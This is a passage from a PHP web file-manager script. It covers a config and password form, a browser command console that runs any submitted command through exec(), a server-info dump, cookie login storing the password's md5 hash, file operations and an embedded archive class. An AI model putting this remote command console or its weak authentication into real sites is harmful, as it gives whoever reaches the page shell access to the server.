    <tr><td> <td><input type=button value=\"".et('SaveConfig')."\" onclick=\"test_config_form(2)\">";
    if (strlen($Warning1)) echo " <font color=red>$Warning1</font>";
    echo "
    <tr><td align=right>".et('Pass').":<td><input type=text size=30 name=newpass value=\"\" onkeypress=\"enterSubmit(event,'test_config_form(3)')\"></td></tr>
    <tr><td> <td><input type=button value=\"".et('SavePass')."\" onclick=\"test_config_form(3)\">";
    if (strlen($Warning2)) echo " <font color=red>$Warning2</font>";
    echo "</td></tr>";
    echo "
    </form>
    </table>
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
        function set_select(sel,val){
            for(var x=0;x<sel.length;x++){
                if(sel.options[x].value==val){
                    sel.options[x].selected=true;
                    break;
                }
            }
        }
        set_select(document.config_form.newlang,'".$cfg->data['lang']."');
        set_select(document.config_form.newerror,'".$cfg->data['error_reporting']."');
        function test_config_form(arg){
            document.config_form.config_action.value = arg;
            document.config_form.submit();
        }
        function open_win(url){
            var w = 800;
            var h = 600;
            window.open(url, '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=yes,toolbar=yes,menubar=yes,location=yes');
        }
        window.moveTo((window.screen.width-600)/2,((window.screen.height-400)/2)-20);
        window.focus();
    //-->
    </script>
    ";
    echo "</body>\n</html>";
}
function shell_form(){
    global $current_dir,$shell_form,$cmd_arg,$path_info;
    $data_out = "";
    if (strlen($cmd_arg)){
        exec($cmd_arg,$mat);
        if (count($mat)) $data_out = trim(implode("\n",$mat));
    }
    switch ($shell_form){
        case 1:
            html_header();
            echo "
            <body marginwidth=\"0\" marginheight=\"0\">
            <table border=0 cellspacing=0 cellpadding=0 align=center>
            <form name=\"data_form\">
            <tr><td><textarea name=data_out rows=36 cols=105 READONLY=\"1\"></textarea></td></tr>
            </form>
            </table>
            </body></html>";
        break;
        case 2:
            html_header();
            echo "
            <body marginwidth=\"0\" marginheight=\"0\">
            <table border=0 cellspacing=0 cellpadding=0 align=center>
            <form name=\"shell_form\" action=\"".$path_info["basename"]."\" method=\"post\">
            <input type=hidden name=current_dir value=\"$current_dir\">
            <input type=hidden name=action value=\"9\">
            <input type=hidden name=shell_form value=\"2\">
            <tr><td align=center><input type=text size=90 name=cmd_arg></td></tr>
            </form>";
            echo "
            <script language=\"Javascript\" type=\"text/javascript\">
            <!--";
            if (strlen($data_out)) echo "
                var val = '# ".html_encode($cmd_arg)."\\n".html_encode(str_replace("<","[",str_replace(">","]",str_replace("\n","\\n",str_replace("'","\'",str_replace("\\","\\\\",$data_out))))))."\\n';
                parent.frame1.document.data_form.data_out.value += val;
				parent.frame1.document.data_form.data_out.scrollTop = parent.frame1.document.data_form.data_out.scrollHeight;";
            echo "
                document.shell_form.cmd_arg.focus();
            //-->
            </script>
            ";
            echo "
            </table>
            </body></html>";
        break;
        default:
            html_header("
            <script language=\"Javascript\" type=\"text/javascript\">
            <!--
                window.moveTo((window.screen.width-800)/2,((window.screen.height-600)/2)-20);
            //-->
            </script>");
            echo "
            <frameset rows=\"570,*\" framespacing=\"0\" frameborder=no>
                <frame src=\"".$path_info["basename"]."?action=9&shell_form=1\" name=frame1 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
                <frame src=\"".$path_info["basename"]."?action=9&shell_form=2\" name=frame2 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
            </frameset>
            </html>";
    }
}
function server_info(){
    if ([email protected]()) echo et('NoPhpinfo')."...";
    echo "<br><br>";
	    $a=ini_get_all();
	    $output="<table border=1 cellspacing=0 cellpadding=4 align=center>";
	    $output.="<tr><th colspan=2>ini_get_all()</td></tr>";
	    while(list($key, $value)=each($a)) {
	        list($k, $v)= each($a[$key]);
	        $output.="<tr><td align=right>$key</td><td>$v</td></tr>";
	    }
	    $output.="</table>";
	echo $output;
    echo "<br><br>";
	    $output="<table border=1 cellspacing=0 cellpadding=4 align=center>";
	    $output.="<tr><th colspan=2>\$_SERVER</td></tr>";
	    foreach ($_SERVER as $k=>$v) {
	        $output.="<tr><td align=right>$k</td><td>$v</td></tr>";
	    }
	    $output.="</table>";
	echo $output;
    echo "<br><br>";
    echo "<table border=1 cellspacing=0 cellpadding=4 align=center>";
    $safe_mode=trim(ini_get("safe_mode"));
    if ((strlen($safe_mode)==0)||($safe_mode==0)) $safe_mode=false;
    else $safe_mode=true;
    $is_windows_server = (uppercase(substr(PHP_OS, 0, 3)) === 'WIN');
    echo "<tr><td colspan=2>".php_uname();
    echo "<tr><td>safe_mode<td>".($safe_mode?"on":"off");
    if ($is_windows_server) echo "<tr><td>sisop<td>Windows<br>";
    else echo "<tr><td>sisop<td>Linux<br>";
    echo "</table><br><br><table border=1 cellspacing=0 cellpadding=4 align=center>";
    $display_errors=ini_get("display_errors");
    $ignore_user_abort = ignore_user_abort();
    $max_execution_time = ini_get("max_execution_time");
    $upload_max_filesize = ini_get("upload_max_filesize");
    $memory_limit=ini_get("memory_limit");
    $output_buffering=ini_get("output_buffering");
    $default_socket_timeout=ini_get("default_socket_timeout");
    $allow_url_fopen = ini_get("allow_url_fopen");
    $magic_quotes_gpc = ini_get("magic_quotes_gpc");
    ignore_user_abort(true);
    ini_set("display_errors",0);
    ini_set("max_execution_time",0);
    ini_set("upload_max_filesize","10M");
    ini_set("memory_limit","20M");
    ini_set("output_buffering",0);
    ini_set("default_socket_timeout",30);
    ini_set("allow_url_fopen",1);
    ini_set("magic_quotes_gpc",0);
    echo "<tr><td> <td>Get<td>Set<td>Get";
    echo "<tr><td>display_errors<td>$display_errors<td>0<td>".ini_get("display_errors");
    echo "<tr><td>ignore_user_abort<td>".($ignore_user_abort?"on":"off")."<td>on<td>".(ignore_user_abort()?"on":"off");
    echo "<tr><td>max_execution_time<td>$max_execution_time<td>0<td>".ini_get("max_execution_time");
    echo "<tr><td>upload_max_filesize<td>$upload_max_filesize<td>10M<td>".ini_get("upload_max_filesize");
    echo "<tr><td>memory_limit<td>$memory_limit<td>20M<td>".ini_get("memory_limit");
    echo "<tr><td>output_buffering<td>$output_buffering<td>0<td>".ini_get("output_buffering");
    echo "<tr><td>default_socket_timeout<td>$default_socket_timeout<td>30<td>".ini_get("default_socket_timeout");
    echo "<tr><td>allow_url_fopen<td>$allow_url_fopen<td>1<td>".ini_get("allow_url_fopen");
    echo "<tr><td>magic_quotes_gpc<td>$magic_quotes_gpc<td>0<td>".ini_get("magic_quotes_gpc");
    echo "</table><br><br>";
    echo "
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
        window.moveTo((window.screen.width-800)/2,((window.screen.height-600)/2)-20);
        window.focus();
    //-->
    </script>";
    echo "</body>\n</html>";
}
// +--------------------------------------------------
// | Session
// +--------------------------------------------------
function logout(){
    setcookie("loggedon",0,0,"/");
    login_form();
}
function login(){
    global $pass,$auth_pass,$path_info;
    if (md5(trim($pass)) == $auth_pass){
        setcookie("loggedon",$auth_pass,0,"/");
        header ("Location: ".$path_info["basename"]."");
    } else header ("Location: ".$path_info["basename"]."?erro=1");
}
function login_form(){
    global $erro,$auth_pass,$path_info;
    html_header();
    echo "<body onLoad=\"if(parent.location.href != self.location.href){ parent.location.href = self.location.href } return true;\">\n";
    if ($auth_pass != md5("")){
        echo "
        <table border=0 cellspacing=0 cellpadding=5>
            <form name=\"login_form\" action=\"".$path_info["basename"]."\" method=\"post\">
            <tr>
            <td><b>".et('FileMan')."</b>
            </tr>
            <tr>
            <td align=left><font size=4>".et('TypePass').".</font>
            </tr>
            <tr>
            <td><input name=pass type=password size=10> <input type=submit value=\"".et('Send')."\">
            </tr>
        ";
        if (strlen($erro)) echo "
            <tr>
            <td align=left><font color=red size=4>".et('InvPass').".</font>
            </tr>
        ";
        echo "
            </form>
        </table>
             <script language=\"Javascript\" type=\"text/javascript\">
             <!--
             document.login_form.pass.focus();
             //-->
             </script>
        ";
    } else {
        echo "
        <table border=0 cellspacing=0 cellpadding=5>
            <form name=\"login_form\" action=\"".$path_info["basename"]."\" method=\"post\">
            <input type=hidden name=frame value=3>
            <input type=password name=pass >
            <tr>
            <td><b>".et('FileMan')."</b>
            </tr>
            <tr>
            <td><input type=submit value=\"".et('Enter')."\">
            </tr>
            </form>
        </table>
        ";
    }
    echo "</body>\n</html>";
}
function frame3(){
    global $islinux,$cmd_arg,$chmod_arg,$zip_dir,$fm_current_root,$cookie_cache_time;
    global $dir_dest,$current_dir,$dir_before;
    global $selected_file_list,$selected_dir_list,$old_name,$new_name;
    global $action,$or_by,$order_dir_list_by;
    if (!isset($order_dir_list_by)){
        $order_dir_list_by = "1A";
        setcookie("order_dir_list_by", $order_dir_list_by , time()+$cookie_cache_time , "/");
    } elseif (strlen($or_by)){
        $order_dir_list_by = $or_by;
        setcookie("order_dir_list_by", $or_by , time()+$cookie_cache_time , "/");
    }
    html_header();
    echo "<body>\n";
    if ($action){
        switch ($action){
            case 1: // create dir
            if (strlen($cmd_arg)){
                $cmd_arg = format_path($current_dir.$cmd_arg);
                if (!file_exists($cmd_arg)){
                    @mkdir($cmd_arg,0755);
                    @chmod($cmd_arg,0755);
                    reloadframe("parent",2,"&ec_dir=".$cmd_arg);
                } else alert(et('FileDirExists').".");
            }
            break;
            case 2: // create arq
            if (strlen($cmd_arg)){
                $cmd_arg = $current_dir.$cmd_arg;
                if (!file_exists($cmd_arg)){
                    if ($fh = @fopen($cmd_arg, "w")){
                        @fclose($fh);
                    }
                    @chmod($cmd_arg,0644);
                } else alert(et('FileDirExists').".");
            }
            break;
            case 3: // rename arq ou dir
            if ((strlen($old_name))&&(strlen($new_name))){
                rename($current_dir.$old_name,$current_dir.$new_name);
                if (is_dir($current_dir.$new_name)) reloadframe("parent",2);
            }
            break;
            case 4: // delete sel
            if(strstr($current_dir,$fm_current_root)){
                if (strlen($selected_file_list)){
                    $selected_file_list = explode("<|*|>",$selected_file_list);
                    if (count($selected_file_list)) {
                        for($x=0;$x<count($selected_file_list);$x++) {
                            $selected_file_list[$x] = trim($selected_file_list[$x]);
                            if (strlen($selected_file_list[$x])) total_delete($current_dir.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]);
                        }
                    }
                }
                if (strlen($selected_dir_list)){
                    $selected_dir_list = explode("<|*|>",$selected_dir_list);
                    if (count($selected_dir_list)) {
                        for($x=0;$x<count($selected_dir_list);$x++) {
                            $selected_dir_list[$x] = trim($selected_dir_list[$x]);
                            if (strlen($selected_dir_list[$x])) total_delete($current_dir.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]);
                        }
                        reloadframe("parent",2);
                    }
                }
            }
            break;
            case 5: // copy sel
            if (strlen($dir_dest)){
                if(uppercase($dir_dest) != uppercase($current_dir)){
                    if (strlen($selected_file_list)){
                        $selected_file_list = explode("<|*|>",$selected_file_list);
                        if (count($selected_file_list)) {
                            for($x=0;$x<count($selected_file_list);$x++) {
                                $selected_file_list[$x] = trim($selected_file_list[$x]);
                                if (strlen($selected_file_list[$x])) total_copy($current_dir.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]);
                            }
                        }
                    }
                    if (strlen($selected_dir_list)){
                        $selected_dir_list = explode("<|*|>",$selected_dir_list);
                        if (count($selected_dir_list)) {
                            for($x=0;$x<count($selected_dir_list);$x++) {
                                $selected_dir_list[$x] = trim($selected_dir_list[$x]);
                                if (strlen($selected_dir_list[$x])) total_copy($current_dir.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]);
                            }
                            reloadframe("parent",2);
                        }
                    }
                    $current_dir = $dir_dest;
                }
            }
            break;
            case 6: // move sel
            if (strlen($dir_dest)){
                if(uppercase($dir_dest) != uppercase($current_dir)){
                    if (strlen($selected_file_list)){
                        $selected_file_list = explode("<|*|>",$selected_file_list);
                        if (count($selected_file_list)) {
                            for($x=0;$x<count($selected_file_list);$x++) {
                                $selected_file_list[$x] = trim($selected_file_list[$x]);
                                if (strlen($selected_file_list[$x])) total_move($current_dir.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]);
                            }
                        }
                    }
                    if (strlen($selected_dir_list)){
                        $selected_dir_list = explode("<|*|>",$selected_dir_list);
                        if (count($selected_dir_list)) {
                            for($x=0;$x<count($selected_dir_list);$x++) {
                                $selected_dir_list[$x] = trim($selected_dir_list[$x]);
                                if (strlen($selected_dir_list[$x])) total_move($current_dir.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]);
                            }
                            reloadframe("parent",2);
                        }
                    }
                    $current_dir = $dir_dest;
                }
            }
            break;
            case 71: // compress sel
            if (strlen($cmd_arg)){
                ignore_user_abort(true);
                ini_set("display_errors",0);
                ini_set("max_execution_time",0);
                $zipfile=false;
                if (strstr($cmd_arg,".tar")) $zipfile = new tar_file($cmd_arg);
                elseif (strstr($cmd_arg,".zip")) $zipfile = new zip_file($cmd_arg);
                elseif (strstr($cmd_arg,".bzip")) $zipfile = new bzip_file($cmd_arg);
                elseif (strstr($cmd_arg,".gzip")) $zipfile = new gzip_file($cmd_arg);
                if ($zipfile){
                    $zipfile->set_options(array('basedir'=>$current_dir,'overwrite'=>1,'level'=>3));
                    if (strlen($selected_file_list)){
                        $selected_file_list = explode("<|*|>",$selected_file_list);
                        if (count($selected_file_list)) {
                            for($x=0;$x<count($selected_file_list);$x++) {
                                $selected_file_list[$x] = trim($selected_file_list[$x]);
                                if (strlen($selected_file_list[$x])) $zipfile->add_files($selected_file_list[$x]);
                            }
                        }
                    }
                    if (strlen($selected_dir_list)){
                        $selected_dir_list = explode("<|*|>",$selected_dir_list);
                        if (count($selected_dir_list)) {
                            for($x=0;$x<count($selected_dir_list);$x++) {
                                $selected_dir_list[$x] = trim($selected_dir_list[$x]);
                                if (strlen($selected_dir_list[$x])) $zipfile->add_files($selected_dir_list[$x]);
                            }
                        }
                    }
                    $zipfile->create_archive();
                }
                unset($zipfile);
            }
            break;
            case 72: // decompress arq
            if (strlen($cmd_arg)){
                if (file_exists($current_dir.$cmd_arg)){
                    $zipfile=false;
                    if (strstr($cmd_arg,".zip")) zip_extract();
                    elseif (strstr($cmd_arg,".bzip")||strstr($cmd_arg,".bz2")||strstr($cmd_arg,".tbz2")||strstr($cmd_arg,".bz")||strstr($cmd_arg,".tbz")) $zipfile = new bzip_file($cmd_arg);
                    elseif (strstr($cmd_arg,".gzip")||strstr($cmd_arg,".gz")||strstr($cmd_arg,".tgz")) $zipfile = new gzip_file($cmd_arg);
                    elseif (strstr($cmd_arg,".tar")) $zipfile = new tar_file($cmd_arg);
                    if ($zipfile){
                        $zipfile->set_options(array('basedir'=>$current_dir,'overwrite'=>1));
                        $zipfile->extract_files();
                    }
                    unset($zipfile);
                    reloadframe("parent",2);
                }
            }
            break;
            case 8: // delete arq/dir
            if (strlen($cmd_arg)){
                if (file_exists($current_dir.$cmd_arg)) total_delete($current_dir.$cmd_arg);
                if (is_dir($current_dir.$cmd_arg)) reloadframe("parent",2);
            }
            break;
            case 9: // CHMOD
            if((strlen($chmod_arg) == 4)&&(strlen($current_dir))){
                if ($chmod_arg[0]=="1") $chmod_arg = "0".$chmod_arg;
                else $chmod_arg = "0".substr($chmod_arg,strlen($chmod_arg)-3);
                $new_mod = octdec($chmod_arg);
                if (strlen($selected_file_list)){
                    $selected_file_list = explode("<|*|>",$selected_file_list);
                    if (count($selected_file_list)) {
                        for($x=0;$x<count($selected_file_list);$x++) {
                            $selected_file_list[$x] = trim($selected_file_list[$x]);
                            if (strlen($selected_file_list[$x])) @chmod($current_dir.$selected_file_list[$x],$new_mod);
                        }
                    }
                }
                if (strlen($selected_dir_list)){
                    $selected_dir_list = explode("<|*|>",$selected_dir_list);
                    if (count($selected_dir_list)) {
                        for($x=0;$x<count($selected_dir_list);$x++) {
                            $selected_dir_list[$x] = trim($selected_dir_list[$x]);
                            if (strlen($selected_dir_list[$x])) @chmod($current_dir.$selected_dir_list[$x],$new_mod);
                        }
                    }
                }
            }
            break;
        }
        if ($action != 10) dir_list_form();
    } else dir_list_form();
    echo "</body>\n</html>";
}
function frame2(){
    global $expanded_dir_list,$ec_dir;
    if (!isset($expanded_dir_list)) $expanded_dir_list = "";
    if (strlen($ec_dir)){
        if (strstr($expanded_dir_list,":".$ec_dir)) $expanded_dir_list = str_replace(":".$ec_dir,"",$expanded_dir_list);
        else $expanded_dir_list .= ":".$ec_dir;
        setcookie("expanded_dir_list", $expanded_dir_list , 0 , "/");
    }
    show_tree();
}
function frameset(){
    global $path_info,$leftFrameWidth;
    if (!isset($leftFrameWidth)) $leftFrameWidth = 300;
    html_header();
    echo "
    <frameset cols=\"".$leftFrameWidth.",*\" framespacing=\"0\">
        <frameset rows=\"0,*\" framespacing=\"0\" frameborder=\"0\">
            <frame src=\"".$path_info["basename"]."?frame=1\" name=frame1 border=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\">
            <frame src=\"".$path_info["basename"]."?frame=2\" name=frame2 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
        </frameset>
        <frame src=\"".$path_info["basename"]."?frame=3\" name=frame3 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
    </frameset>
    </html>";
}
// +--------------------------------------------------
// | Open Source Contributions
// +--------------------------------------------------
 /*-------------------------------------------------
 | TAR/GZIP/BZIP2/ZIP ARCHIVE CLASSES 2.0
 | By Devin Doucette
 | Copyright (c) 2004 Devin Doucette
 | Email: [email protected]
 +--------------------------------------------------
 | Email bugs/suggestions to [email protected]
 +--------------------------------------------------
 | This script has been created and released under
 | the GNU GPL and is free to use and redistribute
 | only if this copyright statement is not removed
 +--------------------------------------------------
 | Limitations:
 | - Only USTAR archives are officially supported for extraction, but others may work.
 | - Extraction of bzip2 and gzip archives is limited to compatible tar files that have
 | been compressed by either bzip2 or gzip.  For greater support, use the functions
 | bzopen and gzopen respectively for bzip2 and gzip extraction.
 | - Zip extraction is not supported due to the wide variety of algorithms that may be
 | used for compression and newer features such as encryption.
 +--------------------------------------------------
 */
class archive
{
    function archive($name)
    {
        $this->options = array(
            'basedir'=>".",
            'name'=>$name,
            'prepend'=>"",
            'inmemory'=>0,
            'overwrite'=>0,
            'recurse'=>1,
            'storepaths'=>1,
            'level'=>3,
            'method'=>1,
            'sfx'=>"",
            'type'=>"",
            'comment'=>""
        );
        $this->files = array();
        $this->exclude = array();
        $this->storeonly = array();
        $this->error = array();
    }

    function set_options($options)
    {
        foreach($options as $key => $value)
        {
            $this->options[$key] = $value;
        }
        if(!empty($this->options['basedir']))
        {
            $this->options['basedir'] = str_replace("\\","/",$this->options['basedir']);
            $this->options['basedir'] = preg_replace("/\/+/","/",$this->options['basedir']);
            $this->options['basedir'] = preg_replace("/\/$/","",$this->options['basedir']);
        }
        if(!empty($this->options['name']))
        {
            $this->options['name'] = str_replace("\\","/",$this->options['name']);
            $this->options['name'] = preg_replace("/\/+/","/",$this->options['name']);
        }
        if(!empty($this->options['prepend']))
        {
            $this->options['prepend'] = str_replace("\\","/",$this->options['prepend']);
            $this->options['prepend'] = preg_replace("/^(\.*\/+)+/","",$this->options['prepend']);
            $this->options['prepend'] = preg_replace("/\/+/","/",$this->options['prepend']);
            $this->options['prepend'] = preg_replace("/\/$/","",$this->options['prepend']) . "/";
        }
    }

    function create_archive()
    {
        $this->make_list();

        if($this->options['inmemory'] == 0)
        {
            $Pwd = getcwd();
            chdir($this->options['basedir']);
            if($this->options['overwrite'] == 0 && file_exists($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip"? ".tmp" : "")))
            {
                $this->error[] = "File {$this->options['name']} already exists.";
                chdir($Pwd);
                return 0;
            }
            else if($this->archive = @fopen($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip"? ".tmp" : ""),"wb+"))
            {
                chdir($Pwd);
            }
            else
            {
                $this->error[] = "Could not open {$this->options['name']} for writing.";
                chdir($Pwd);
                return 0;
            }
        }
        else
        {
            $this->archive = "";
        }

        switch($this->options['type'])
        {
        case "zip":
            if(!$this->create_zip())
            {
                $this->error[] = "Could not create zip file.";
                return 0;
            }
            break;
        case "bzip":
            if(!$this->create_tar())
            {
                $this->error[] = "Could not create tar file.";
                return 0;
            }
            if(!$this->create_bzip())
            {
                $this->error[] = "Could not create bzip2 file.";
                return 0;
            }
            break;
        case "gzip":
            if(!$this->create_tar())
            {
                $this->error[] = "Could not create tar file.";
                return 0;
            }
            if(!$this->create_gzip())
            {
                $this->error[] = "Could not create gzip file.";
                return 0;
            }
            break;
        case "tar":
            if(!$this->create_tar())
            {
                $this->error[] = "Could not create tar file.";
                return 0;
            }
        }

        if($this->options['inmemory'] == 0)
        {
            fclose($this->archive);
            @chmod($this->options['name'],0644);
            if($this->options['type'] == "gzip" || $this->options['type'] == "bzip")
            {
                unlink($this->options['basedir'] . "/" . $this->options['name'] . ".tmp");
            }
        }
    }

    function add_data($data)
    {
        if($this->options['inmemory'] == 0)
        {
            fwrite($this->archive,$data);
        }
        else
        {
            $this->archive .= $data;
        }
    }

    function make_list()
    {
        if(!empty($this->exclude))
        {
            foreach($this->files as $key => $value)
            {
                foreach($this->exclude as $current)
                {
                    if($value['name'] == $current['name'])
                    {
                        unset($this->files[$key]);
                    }
                }
            }
        }
        if(!empty($this->storeonly))
        {
            foreach($this->files as $key => $value)
            {
                foreach($this->storeonly as $current)
                {
                    if($value['name'] == $current['name'])
                    {
                        $this->files[$key]['method'] = 0;
                    }
                }
            }
        }
        unset($this->exclude,$this->storeonly);
    }


    function add_files($list)
    {
        $temp = $this->list_files($list);
        foreach($temp as $current)
        {
            $this->files[] = $current;
        }
    }

    function exclude_files($list)
    {
        $temp = $this->list_files($list);
        foreach($temp as $current)
        {
            $this->exclude[] = $current;
        }
    }

    function store_files($list)
    {
        $temp = $this->list_files($list);
        foreach($temp as $current)
        {
            $this->storeonly[] = $current;
        }
    }

    function list_files($list)
    {
        if(!is_array($list))
        {
            $temp = $list;
            $list = array($temp);
            unset($temp);
        }

        $files = array();

        $Pwd = getcwd();
        chdir($this->options['basedir']);

        foreach($list as $current)
        {
            $current = str_replace("\\","/",$current);
            $current = preg_replace("/\/+/","/",$current);
            $current = preg_replace("/\/$/","",$current);
            if(strstr($current,"*"))
            {
                $regex = preg_replace("/([\\\^\$\.\[\]\|\(\)\?\+\{\}\/])/","\\\\\\1",$current);
                $regex = str_replace("*",".*",$regex);
                $dir = strstr($current,"/")? substr($current,0,strrpos($current,"/")) : ".";
                $temp = $this->parse_dir($dir);
                foreach($temp as $current2)
                {
                    if(preg_match("/^{$regex}$/i",$current2['name']))
                    {
                        $files[] = $current2;
                    }
                }
                unset($regex,$dir,$temp,$current);
            }
            else if(@is_dir($current))
            {
                $temp = $this->parse_dir($current);
                foreach($temp as $file)
                {
                    $files[] = $file;
                }
                unset($temp,$file);
            }
            else if(@file_exists($current))
            {
                $files[] = array('name'=>$current,'name2'=>$this->options['prepend'] .
                    preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($current,"/"))?
                    substr($current,strrpos($current,"/") + 1) : $current),'type'=>0,
                    'ext'=>substr($current,strrpos($current,".")),'stat'=>stat($current));
            }
        }

        chdir($Pwd);

        unset($current,$Pwd);

        usort($files,array("archive","sort_files"));

        return $files;
    }

    function parse_dir($dirname)
    {
        if($this->options['storepaths'] == 1 && !preg_match("/^(\.+\/*)+$/",$dirname))
        {
            $files = array(array('name'=>$dirname,'name2'=>$this->options['prepend'] .
                preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($dirname,"/"))?
                substr($dirname,strrpos($dirname,"/") + 1) : $dirname),'type'=>5,'stat'=>stat($dirname)));
        }
        else
        {
            $files = array();
        }
        $dir = @opendir($dirname);

        while($file = @readdir($dir))
        {
            if($file == "." || $file == "..")
            {
                continue;
            }
            else if(@is_dir($dirname."/".$file))
            {
                if(empty($this->options['recurse']))
                {
                    continue;
                }
                $temp = $this->parse_dir($dirname."/".$file);
                foreach($temp as $file2)
                {
                    $files[] = $file2;
                }
            }
            else if(@file_exists($dirname."/".$file))
            {
                $files[] = array('name'=>$dirname."/".$file,'name2'=>$this->options['prepend'] .
                    preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($dirname."/".$file,"/"))?
                    substr($dirname."/".$file,strrpos($dirname."/".$file,"/") + 1) : $dirname."/".$file),'type'=>0,
                    'ext'=>substr($file,strrpos($file,".")),'stat'=>stat($dirname."/".$file));
            }
        }

        @closedir($dir);

        return $files;
    }

    function sort_files($a,$b)
    {
        if($a['type'] != $b['type'])
        {
            return $a['type'] > $b['type']? -1 : 1;
        }
        else if($a['type'] == 5)
        {
            return strcmp(strtolower($a['name']),strtolower($b['name']));
        }
        else
        {
            if($a['ext'] != $b['ext'])
            {
                return strcmp($a['ext'],$b['ext']);
            }
            else if($a['stat'][7] != $b['stat'][7])
            {
                return $a['stat'][7] > $b['stat'][7]? -1 : 1;
            }
            else
            {
                return strcmp(strtolower($a['name']),strtolower($b['name']));
            }
        }
        return 0;
    }

    function download_file()
    {
        if($this->options['inmemory'] == 0)
        {
            $this->error[] = "Can only use download_file() if archive is in memory. Redirect to file otherwise, it is faster.";
            return;
        }
        switch($this->options['type'])
        {
        case "zip":
            header("Content-type:application/zip");
            break;
        case "bzip":
            header("Content-type:application/x-compressed");
            break;
        case "gzip":
            header("Content-type:application/x-compressed");
            break;
        case "tar":
            header("Content-type:application/x-tar");
        }
        $header = "Content-disposition: attachment; filename=\"";
        $header .= strstr($this->options['name'],"/")? substr($this->options['name'],strrpos($this->options['name'],"/") + 1) : $this->options['name'];
        $header .= "\"";
        header($header);
        header("Content-length: " . strlen($this->archive));
        header("Content-transfer-encoding: binary");
        header("Cache-control: no-cache, must-revalidate, post-check=0, pre-check=0");
        header("Pragma: no-cache");
        header("Expires: 0");
        print($this->archive);
    }
}

class tar_file extends archive
{
    function tar_file($name)
    {
        $this->archive($name);
        $this->options['type'] = "tar";
    }

    function create_tar()
    {
        $Pwd = getcwd();
        chdir($this->options['basedir']);

        foreach($this->files as $current)
        {
            if($current['name'] == $this->options['name'])
            {
                continue;
            }
            if(strlen($current['name2']) > 99)
            {
                $Path = substr($current['name2'],0,strpos($current['name2'],"/",strlen($current['name2']) - 100) + 1);
                $current['name2'] = substr($current['name2'],strlen($Path));
                if(strlen($Path) > 154 || strlen($current['name2']) > 99)
                {
                    $this->error[] = "Could not add {$Path}{$current['name2']} to archive because the filename is too long.";
                    continue;
                }
            }
            $block = pack("a100a8a8a8a12a12a8a1a100a6a2a32a32a8a8a155a12",$current['name2'],decoct($current['stat'][2]),
                sprintf("%6s ",decoct($current['stat'][4])),sprintf("%6s ",decoct($current['stat'][5])),
                sprintf("%11s ",decoct($current['stat'][7])),sprintf("%11s ",decoct($current['stat'][9])),
                "        ",$current['type'],"","ustar","00","Unknown","Unknown","","",!empty($Path)? $Path : "","");

            $checksum = 0;
            for($i = 0; $i < 512; $i++)
            {
                $checksum += ord(substr($block,$i,1));
            }
            $checksum = pack("a8",sprintf("%6s ",decoct($checksum)));
            $block = substr_replace($block,$checksum,148,8);

            if($current['stat'][7] == 0)
            {
                $this->add_data($block);
            }
            else if($fp = @fopen($current['name'],"rb"))
            {
                $this->add_data($block);
                while($temp = fread($fp,1048576))
                {
                    $this->add_data($temp);
                }
                if($current['stat'][7] % 512 > 0)
                {
                    $temp = "";
                    for($i = 0; $i < 512 - $current['stat'][7] % 512; $i++)
                    {
                        $temp .= "\0";
                    }
                    $this->add_data($temp);
                }
                fclose($fp);
            }
            else
            {
                $this->error[] = "Could not open file {$current['name']} for reading. It was not added.";
            }
        }

        $this->add_data(pack("a512",""));

        chdir($Pwd);

        return 1;

    }

    function extract_files()
    {
        $Pwd = getcwd();
        chdir($this->options['basedir']);

        if($fp = $this->open_archive())
        {
            if($this->options['inmemory'] == 1)
            {
                $this->files = array();
            }

            while($block = fread($fp,512))
            {
                $temp = unpack("a100name/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/a1type/a100temp/a6magic/a2temp/a32temp/a32temp/a8temp/a8temp/a155prefix/a12temp",$block);
                $file = array(
                    'name'=>$temp['prefix'] . $temp['name'],
                    'stat'=>array(
                        2=>$temp['mode'],
                        4=>octdec($temp['uid']),
                        5=>octdec($temp['gid']),
                        7=>octdec($temp['size']),
                        9=>octdec($temp['mtime']),
                    ),
                    'checksum'=>octdec($temp['checksum']),
                    'type'=>$temp['type'],
                    'magic'=>$temp['magic'],
                );
                if($file['checksum'] == 0x00000000)
                {
                    break;
                }
                else if($file['magic'] != "ustar")
                {
                    $this->error[] = "This script does not support extracting this type of tar file.";
                    break;
                }
                $block = substr_replace($block,"        ",148,8);
                $checksum = 0;
                for($i = 0; $i < 512; $i++)
                {
                    $checksum += ord(substr($block,$i,1));
                }
                if($file['checksum'] != $checksum)
                {
                    $this->error[] = "Could not extract from {$this->options['name']}, it is corrupt.";
                }

                if($this->options['inmemory'] == 1)
                {
                    $file['data'] = fread($fp,$file['stat'][7]);
                    fread($fp,(512 - $file['stat'][7] % 512) == 512? 0 : (512 - $file['stat'][7] % 512));
                    unset($file['checksum'],$file['magic']);
                    $this->files[] = $file;
                }
                else
                {
                    if($file['type'] == 5)
                    {
                        if(!is_dir($file['name']))
                        {
                            mkdir($file['name'],0755);
                            //mkdir($file['name'],$file['stat'][2]);
                            //chown($file['name'],$file['stat'][4]);
                            //chgrp($file['name'],$file['stat'][5]);
                        }
                    }
                    else if($this->options['overwrite'] == 0 && file_exists($file['name']))
                    {
                        $this->error[] = "{$file['name']} already exists.";
                    }
                    else if($new = @fopen($file['name'],"wb"))
                    {
                        fwrite($new,fread($fp,$file['stat'][7]));
                        fread($fp,(512 - $file['stat'][7] % 512) == 512? 0 : (512 - $file['stat'][7] % 512));
                        fclose($new);
                        @chmod($file['name'],0644);
                        //chmod($file['name'],$file['stat'][2]);
